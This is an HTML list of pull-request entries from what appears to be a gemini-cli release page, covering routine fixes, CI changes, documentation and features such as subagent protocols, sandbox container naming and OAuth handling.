<li>fix(acp): move tool explanation from thought stream to tool call content by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sripasg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sripasg">@sripasg</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4387866189" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26554" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26554/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26554">#26554</a></li>
<li>fix(a2a-server): Resolve race condition in tool completion waiting by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kschaab/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kschaab">@kschaab</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4389217026" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26568" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26568/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26568">#26568</a></li>
<li>fix(cli): randomize sandbox container names by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kkartik14/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kkartik14">@Kkartik14</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331868914" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26014" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26014/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26014">#26014</a></li>
<li>fix(core): Fix hysteresis in async context management pipelines. by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshualitt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshualitt">@joshualitt</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4378168412" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26452" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26452/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26452">#26452</a></li>
<li>Tighten private Auto Memory patch allowlist by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SandyTao520/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SandyTao520">@SandyTao520</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4386753620" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26535" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26535/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26535">#26535</a></li>
<li>fix(cli): hide read-only settings scopes by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cvan20191/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cvan20191">@cvan20191</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355374642" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26249" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26249/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26249">#26249</a></li>
<li>fix(ci): preserve executable bit for mac binaries by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ruomengz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ruomengz">@ruomengz</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4393544659" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26600" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26600/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26600">#26600</a></li>
<li>fix(cli): improve mcp list UX in untrusted folders by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adib234/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adib234">@Adib234</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4378781513" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26457" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26457/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26457">#26457</a></li>
<li>fix(core): prevent silent hang during OAuth auth on headless Linux by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RhysSullivan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RhysSullivan">@RhysSullivan</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4389539817" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26571" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26571/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26571">#26571</a></li>
<li>Changelog for v0.42.0-preview.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4386987279" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26537" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26537/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26537">#26537</a></li>
<li>ci: fix Argument list too long in triage workflows by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cocosheng-g/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cocosheng-g">@cocosheng-g</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4393702371" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26603" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26603/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26603">#26603</a></li>
<li>refactor(cli): migrate core tools to native ToolDisplay property and fix UI rendering by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mbleigh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mbleigh">@mbleigh</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4245141942" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/25186" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/25186/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/25186">#25186</a></li>
<li>don't wrap args unnecessarily by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/scidomino/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/scidomino">@scidomino</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4393511584" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26599" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26599/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26599">#26599</a></li>
<li>fix(core): preserve system PATH in Git environment to fix ENOENT (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4233385964" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/25034" data-hovercard-type="issue" data-hovercard-url="/google-gemini/gemini-cli/issues/25034/hovercard" href="https://github.com/google-gemini/gemini-cli/issues/25034">#25034</a>) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cocosheng-g/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cocosheng-g">@cocosheng-g</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4392227732" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26587" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26587/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26587">#26587</a></li>
<li>fix(routing): fix resolveClassifierModel argument mismatch in ApprovalModeStrategy by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/danielweis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/danielweis">@danielweis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4400855534" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26658" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26658/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26658">#26658</a></li>
<li>docs: add vi mode shortcuts and clarify MCP/custom sandbox setup by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chrisjcthomas/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chrisjcthomas">@chrisjcthomas</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4140199327" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/23853" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/23853/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/23853">#23853</a></li>
<li>fix(ux): fixed issue with transcribed text not showing after releasing space by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/devr0306/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/devr0306">@devr0306</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4394408807" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26609" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26609/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26609">#26609</a></li>
<li>ci: fix json parsing in scheduled triage workflow by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cocosheng-g/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cocosheng-g">@cocosheng-g</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4400821324" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26656" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26656/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26656">#26656</a></li>
<li>fix(cli): hide /memory add subcommand when memoryV2 is enabled by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SandyTao520/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SandyTao520">@SandyTao520</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4394311897" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26605" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26605/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26605">#26605</a></li>
<li>fix: prevent false command conflicts when launching from home directory by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Br1an67/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Br1an67">@Br1an67</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4099397262" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/23069" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/23069/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/23069">#23069</a></li>
<li>fix(core): cache model routing decision in LocalAgentExecutor by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/akh64bit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/akh64bit">@akh64bit</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4387572383" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26548" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26548/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26548">#26548</a></li>
<li>Changelog for v0.42.0-preview.2 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4393435532" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26597" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26597/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26597">#26597</a></li>
<li>skip broken test by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/scidomino/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/scidomino">@scidomino</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4407525969" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26705" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26705/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26705">#26705</a></li>
<li>feat: export session to file and import via flag by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cocosheng-g/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cocosheng-g">@cocosheng-g</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4385887919" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26514" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26514/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26514">#26514</a></li>
<li>Feat: Add Machine Hostname to CLI interface by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/M-DEV-1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/M-DEV-1">@M-DEV-1</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4289176782" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/25637" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/25637/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/25637">#25637</a></li>
<li>docs(extensions): refactor releasing guide and add update mechanisms by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ruomengz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ruomengz">@ruomengz</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4393230989" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26595" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26595/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26595">#26595</a></li>
<li>fix(ci): fix maintainer identification in lifecycle manager by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gundermanc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gundermanc">@gundermanc</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4407880651" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26706" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26706/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26706">#26706</a></li>
<li>fix(ui): added quotes around session id in resume tip by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/devr0306/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/devr0306">@devr0306</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4401554095" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26669" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26669/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26669">#26669</a></li>
<li>Changelog for v0.41.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4401581583" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26670" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26670/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26670">#26670</a></li>
<li>refactor(core): agent session protocol changes by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/adamfweidman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/adamfweidman">@adamfweidman</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4401147646" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26661" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26661/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26661">#26661</a></li>
<li>fix(context): implement loose boundary policy for gc backstop. by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshualitt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshualitt">@joshualitt</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4393184313" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26594" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26594/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26594">#26594</a></li>
<li>fix(core): throw explicit error on dropped tool responses by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aishaneeshah/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aishaneeshah">@aishaneeshah</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4401525219" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26668" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26668/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26668">#26668</a></li>
<li>fix: resolve "function response turn must come immediately after function call" error by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/danielweis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/danielweis">@danielweis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4404960723" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26691" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26691/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26691">#26691</a></li>
<li>fix(core): resolve parallel tool call streaming ID collision by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aishaneeshah/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aishaneeshah">@aishaneeshah</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4399967102" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26646" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26646/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26646">#26646</a></li>
<li>feat(core): add LocalSubagentProtocol behind AgentProtocol by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/adamfweidman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/adamfweidman">@adamfweidman</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4256405068" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/25302" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/25302/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/25302">#25302</a></li>
<li>fix(cli): remove noisy theme registration logs from terminal by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JayadityaGit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JayadityaGit">@JayadityaGit</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4314318553" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/25858" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/25858/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/25858">#25858</a></li>
<li>ci: implement codebase-aware effort level triage by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cocosheng-g/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cocosheng-g">@cocosheng-g</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4401409060" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26666" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26666/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26666">#26666</a></li>
<li>feat(acp/core): prefix tool call IDs with tool names to support tool rendering in ACP compliant IDEs. by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sripasg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sripasg">@sripasg</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4402451691" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26676" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26676/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26676">#26676</a></li>
<li>fix(mcp): treat GET 404 as 405 in StreamableHTTPClientTransport by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/krishdef7/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/krishdef7">@krishdef7</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4219995902" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/24847" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/24847/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/24847">#24847</a></li>
<li>feat(core): add RemoteSubagentProtocol behind AgentProtocol by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/adamfweidman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/adamfweidman">@adamfweidman</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4256405716" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/25303" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/25303/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/25303">#25303</a></li>
<li>feat(context): Improvements to the snapshotter. by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshualitt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshualitt">@joshualitt</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4400797246" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26655" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26655/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26655">#26655</a></li>
<li>fix(context): Change snapshotter model config. by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshualitt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshualitt">@joshualitt</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4413189957" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26745" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26745/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26745">#26745</a></li>
<li>fix(cli): allow installing extensions from ssh repo by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/danielmundi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/danielmundi">@danielmundi</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4360179978" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26274" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26274/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26274">#26274</a></li>
<li>fix(cli): prevent duplicate SessionStart systemMessage render by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dimssu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dimssu">@dimssu</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4311624722" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/25827" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/25827/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/25827">#25827</a></li>
<li>fix(cli/acp): prevent infinite thought loop in ACP mode by disablig nextSpeakerCheck by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sripasg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sripasg">@sripasg</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4422664375" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26874" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26874/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26874">#26874</a></li>
<li>fix(cli): use static tool name in confirmation prompt to avoid parsing errors by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cocosheng-g/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cocosheng-g">@cocosheng-g</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4421901089" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26866" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26866/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26866">#26866</a></li>
<li>fix(routing): Refactor tool turn handling for the conversation history in NumericalClassifierStrategy to prevent 400 Bad Request by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/danielweis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/danielweis">@danielweis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4414435925" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26761" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26761/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26761">#26761</a></li>
<li>fix(core): handle malformed projects.json in ProjectRegistry by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cocosheng-g/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cocosheng-g">@cocosheng-g</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4423560403" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26885" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26885/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26885">#26885</a></li>
<li>fix(ui): added a gutter width to the input prompt width calculation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/devr0306/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/devr0306">@devr0306</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4423504731" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26882" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26882/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26882">#26882</a></li>
<li>fix: prevent EISDIR crash when customIgnoreFilePaths contains directories (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3973165998" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/19868" data-hovercard-type="issue" data-hovercard-url="/google-gemini/gemini-cli/issues/19868/hovercard" href="https://github.com/google-gemini/gemini-cli/issues/19868">#19868</a>) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/suhaan-24/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/suhaan-24">@suhaan-24</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3974310806" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/19898" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/19898/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/19898">#19898</a></li>
